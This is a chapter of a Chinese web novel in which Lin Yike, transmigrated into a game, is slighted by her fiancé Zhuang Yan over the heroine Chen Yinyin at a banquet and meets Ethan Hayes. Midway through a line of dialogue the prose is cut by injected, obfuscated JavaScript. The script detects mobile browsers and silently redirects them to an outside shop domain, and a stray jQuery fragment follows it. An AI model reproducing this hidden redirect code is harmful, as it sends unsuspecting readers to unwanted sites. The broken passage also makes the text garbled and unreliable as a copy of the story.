庄宴在宴会大厅上宣布陈茵茵是他的贵宾。
林亦可端着香槟杯,站在原地,看着看着庄宴揽住陈茵茵的肩膀,一副保护者的姿态。
陈茵茵委屈地红了眼眶,她先是盯着林亦可,然后好像自卑了一般,往庄宴身后躲了躲。
你委屈个毛线,明明是你跟我穿的一样。
林亦可心中冷笑。
不愧是女主,是有这种能力,让所有人都觉得她是受害者。
而林亦可,就是那个“欺负”她的人。
林亦可现在倒不是觉得有多伤心,反而是有些生气,主要是替原主生气。
这么一个渣男,真不值得啊!
林亦可就那么站着,脸上挂着淡淡的微笑。
纤细的脊背挺得很直。
银白色的礼服,让她看上去是如此的耀眼夺目。
“当然不介意。庄殿下的朋友,就是我的朋友。”
她的声音很平静,像在说一件与自己无关的事。
毕竟撞衫不可怕,谁丑谁尴尬。
这一局,至少她的外表赢了。
庄宴看了她一眼,然后收回目光。
“茵茵,我介绍几个朋友跟你认识。”
他带着陈茵茵走了。
留下一群人面面相觑。
龙薇薇走了过来,“你还好吗?”
她的声音里带着一丝八卦的味道。
林亦可转头看她,笑了笑:“挺好的。”
“林小姐的裙子……”龙薇薇顿了顿,“也是我表哥送的吗?”
林亦可知道她问的是庄宴。
“不是。”她说,“我自己买的。”
龙薇薇看林亦可不大想聊天的样子,识趣地走开了。
但林亦可注意到,她的目光在裙子上又多停留了一秒。
林亦可忍不住翻了个白眼,心里想:看看看!看什么看!不就是个高仿吗?有什么好奇的?本仙女穿高仿也比女主角穿皇家高定更美!
“林小姐。”
又一个声音在她耳边响起。
林亦可抬头,看到一个陌生的男人站在她面前。
他穿着深蓝色的礼服,五官端正,嘴角带着礼貌的微笑。
“请问您是?”
“庄宴的朋友,战斗系二年级,刘致恒。”他笑了笑,“我可以坐下吗?”
林亦可没有拒绝。
林亦可知道这个刘致恒,金属系B级异能,能控制任何形态的金属,绝招是操纵纳米级金属形成护盾,抵御敌人的伤害,是《星辰恋曲》前期主角团里很实用的一名队友。
男人在她对面坐下,端着香槟杯,目光在她身上停了一下。
“今晚的事,您别放在心上。”
“什么事?”林亦可装糊涂。
男人笑了笑,没有拆穿。
“您的裙子很漂亮。”
“谢谢。”
“应该也是庄宴送的吧!”
林亦可看着他,忽然笑了。
“不是。”她说,“是我自己买的。”
“在哪买的?”
“一家店。”
刘致恒愣了一下,然后笑出了声。
“您真有趣。”
“谢谢,大家都这么说。”
两人聊了几句,刘致恒便起身离开了。
林亦可看着他的背影,嘴角的笑意慢慢淡了。
看来以后碰上主角团的人,她都要离远点。
宴会的后半程,林亦可一直在笑。
和这个聊天,和那个碰杯,和那个寒暄。
完美地扮演着“庄宴未婚妻”的角色。
但她的目光,一直追随着庄宴和陈茵茵。
庄宴在陈茵茵身边,完全变了一个人。
他帮她拿吃的,帮她倒酒,低头听她说话,嘴角带着笑。
那种笑,是原主林亦可从来没有见过的。
她忽然想起游戏里的一句台词——庄宴对陈茵茵说的。
“你是我见过最纯粹的人。”
纯粹?
林亦可嘴角抽了抽。
庄宴压根不会知道,他这句台词是对多少个玩家说的。
宴会终于到了自由活动时间。
林亦可放下酒杯,走向阳台。
夜风吹过来,带着淡淡的花香。
她靠在栏杆上,仰头看着天上的三颗月亮。
“果然。”
她轻声说。
“剧情的力量,比我想象的要强。”
她低头看着手里的香槟杯,琥珀色的液体在月光下泛着光。
林亦可举起杯子,对着月亮,停顿了一下。
“敬我自己。”
“敬第两百次失败。”
她仰头,把香槟一饮而尽。
“呼——”
她长长地吐出一口气。
紧绷了一晚上的肩膀,终于放松下来。
“裙子不错。”
一道低沉的声音从背后传来。
林亦可猛地转身。
黑瞳、黑色短发,一整个人几乎要融入到黑夜里。
是伊森.海斯。
他就站在那里,距离她不到三步,安静地看着她。
他还是穿着那套黑色的军装内里穿着白衬衫,领口解开两颗扣子,露出修长的脖颈。
“你……”
林亦可愣住。
她没想到会在这里见到他。
在游戏里,伊森·海斯从来不参加这种社交场合。
他认真地重复了一遍:“裙子很好。”
林亦可低头看了一眼自己的裙子,银白色的裙摆在夜风中轻轻摆动。
突然就释然了。
“谢谢。”林亦可笑了,“告诉你个秘密,它是高仿的。”
伊森的表情没有任何变化。
“不重要。”
他顿了顿。
“你穿的好看。”
???
林亦可有些惊讶。
这是那个0%通关率的伊森·海斯?
在学院里独来独往从不跟任何人打交道的伊森.海斯?
我是不是在做梦?
林亦可悄悄掐了自己一下。
疼的。
不是梦。
她抬头看着伊森,不知道该说什么。
伊森也没有再说话。
两个人就这么站在阳台上,一个靠着栏杆,一个站在门口。
月光照在他们身上,影子被拉得很长。
远处传来宴会厅里的音乐声和笑声。
阳台上的安静,像另一个世界。
林亦可在思考今晚上发生的事,庄宴并不在乎她这个未婚妻穿什么,只会维护女主角陈茵茵。
而这个她一直忌惮的伊森.海斯,却特地过来安慰她。
现在想想,伊森是玩家的噩梦,所以该陈茵茵怕他才对,自己现在已经不是玩家了,怕他做什么呢?
说不定……
“你……”
林亦可刚开口,就被脚步声打断了。
庄宴从宴会厅里走出来。
他看到伊森,微微皱眉。
“伊森同学,你怎么在这里?”
伊森没有回答。
他只是看了庄宴一眼,然后转身走了。
修长的身影,很快消失在夜色中。
庄宴眉头皱得更紧了,然后他转头看向林亦可。
“你认识他?”
“不算认识。”林亦可转过身,重新面对着栏杆,“庄殿下找我有事?”
庄宴走到她身边,沉默了一会儿。
“今晚的事……”
“不用解释。”林亦可打断他。
庄宴的表情僵了一下:“我不是要解释。”
“那你找我干什么?”
庄宴深吸一口气,语气变得生硬起来。
“茵茵的裙子虽然是高仿,但她不知道。她是平民,没见过什么高档货。你没必要让其他人羞辱她。”
原来如此,原来陈茵茵的裙子也是高仿的,但你庄宴却在所有人面前为她撑腰,告诉所有人,是皇家私人定制……
讽刺的是,全星系只有一条的裙子,那不就是让别人都知道我这条是高仿了吗?
林亦可转头看着他,反问:
“我让别人羞辱她?”
庄宴:“宴会厅里那些人说话那么难听,难道不是你授意的?”
林亦可笑了。
不是真心的笑。
是那种“你在说什么鬼话”的笑。
“庄殿下,我今晚一直在宴会厅里,你的人一直跟在我身边,你应该知道我说的是真话。”
庄宴哑然。
“不管是不是你授意的,”他顿了顿,“茵茵在这里没有朋友,你是我的未婚妻,应该帮我照顾她。”
林亦可:“?”
“你觉得我应该怎么照顾她?”林亦可问。
“明天挑一件
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609943|205911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
礼物送给她。”庄宴的语气像是在吩咐下属,“就当你今晚怠慢她的歉礼。”
林亦可看着庄宴。
未婚夫当着她的面维护另一个女人,还要她送礼物道歉。
你看我像不像个大冤种?
庄宴你脑子有病吧?
“如果我说不呢?”林亦可问。
庄宴的脸色沉了下来。
“林亦可,你身为我未来的妻子,却如此没有气度。你让我怎么放心把贝塔星系的未来交给你?”
林亦可笑了,这一次是真心的笑。
“庄殿下,贝塔星不是你的。就算你是王子,贝塔星也是议会说了算。”
庄宴的眼神冷了下来。
“你在挑衅我?”
“没有。”林亦可转过身,重新面对栏杆,“我只是在陈述事实。”
庄宴盯着她的背影看了很久。
然后转身走了。
夜风吹过来,带着宴会厅里的音乐声。
林亦可闭上眼睛,手指紧紧攥着栏杆。
“气度?”
她低声说。
“你也配跟我谈气度?”
她跟着转身,踩着银白色的高跟鞋,走回大厅。
她的姿态让在场的人不自觉地打量她:
“天啊!林小姐真的好美!她的背脊明明看上去那么单薄,却挺得好直!”
“林小姐不愧是贝塔星第一美人!之前究竟是谁说她是花瓶的?
“就是!居然抹黑这么美的林小姐!”
“我宣布!林小姐就是我心目中完美的王妃人选!换成其他任何人我都不答应!”
实际上,贵族少女们的窃窃私语,音量并不低,她们的话被林亦可一字不漏地听了进去。
林亦可被这些突然变成她“粉丝”的女孩逗得差点笑出来。
可恶!你们这里的小姐姐也太会夸了吧!
我忍得有多辛苦,你们知道吗?
会说话就多说点!
……
两个小时后,宴会进入尾声。
这段时间里,庄宴也不知道是为了向谁证明,还是别的什么原因,他带着陈茵茵在人群中穿梭,向宾客们介绍他的“贵宾”。
林亦可一个人坐在角落里,安静地喝着香槟。
没有人来找她说话。
也没有人敢来找她说话。
林亦可觉得,今晚的时间过得特别慢。
慢到她能数清楚每一秒。
“林亦可。”
一个声音从背后传来。
林亦可转头。
庄宴站在她身后,冷着一张脸。
他看着她,表情复杂,似乎是在等着林亦可先开口。
林亦可笑了笑,你不照顾你的贵宾,来找我干嘛?
“晚安,庄殿下。”
她没给他这个机会,转身走下台阶。
宴会终于结束了。
林亦可是最后一个离开的。
她踩着银白色的高跟鞋,走出市政厅的大门。
夜风吹过来,带着凉意。
她站在台阶上,看着远处灯火通明的城市。
庄宴站在原地,看着她的背影消失在夜色中。
他忽然觉得,这个林亦可,和以前不一样了。
但他不知道,是哪里不一样。
林亦可回到宿舍的时候,已经是深夜了。
三颗月亮挂在天上,淡紫色的月光洒在温室上,像一层薄纱。
她脱掉高跟鞋,赤脚走进房间,坐在沙发上。
没有开灯。
黑暗中,她抱着膝盖,把脸埋进手臂里。
她没有很难过。
只是觉得很累,很累。
她低头,看着手里的银叶花种子。
明天开始,她要去药园把种子全部种下。
与此同时,居民区
陈茵茵坐在梳妆台前。
她看着镜子里的自己,慢慢摘下耳环。
嘴角的酒窝还在。
“林亦可……”
她轻声念出这个名字。
然后站起来,走到窗前,看着远处的三颗月亮。
她用光脑发了一条消息给庄宴。
【今晚谢谢你。】
很快,对面回复了。
【不用谢,应该的。】
陈茵茵看着这四个字,嘴角的笑意更深了。
她关掉光脑,躺回床上。
闭上眼睛。